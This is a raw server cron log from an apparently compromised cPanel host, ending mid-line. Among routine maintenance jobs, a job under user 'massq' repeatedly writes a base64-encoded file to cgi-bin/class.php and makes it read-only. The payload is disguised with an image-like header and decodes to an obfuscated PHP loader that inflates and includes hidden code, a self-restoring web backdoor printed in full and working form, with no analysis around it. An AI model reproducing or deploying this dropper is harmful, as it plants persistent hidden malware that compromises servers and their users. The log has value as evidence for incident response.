Apr  6 03:27:02 server CROND[4165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:27:02 server CROND[4166]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr  6 03:27:02 server CROND[4168]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 03:28:01 server CROND[4245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:29:01 server CROND[4315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:30:01 server CROND[4393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 03:30:01 server CROND[4394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:30:01 server CROND[4395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:30:01 server CROND[4392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:31:01 server CROND[4542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:32:01 server CROND[4726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:33:01 server CROND[4795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:34:01 server CROND[4874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:35:01 server CROND[4953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:35:01 server CROND[4954]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 03:35:01 server CROND[4955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:35:01 server CROND[4956]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 03:35:01 server CROND[4961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:36:01 server CROND[5093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:37:01 server CROND[5167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:38:01 server CROND[5334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:39:01 server CROND[5406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:39:01 server CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 03:40:01 server CROND[5492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:40:01 server CROND[5493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:40:01 server CROND[5494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSg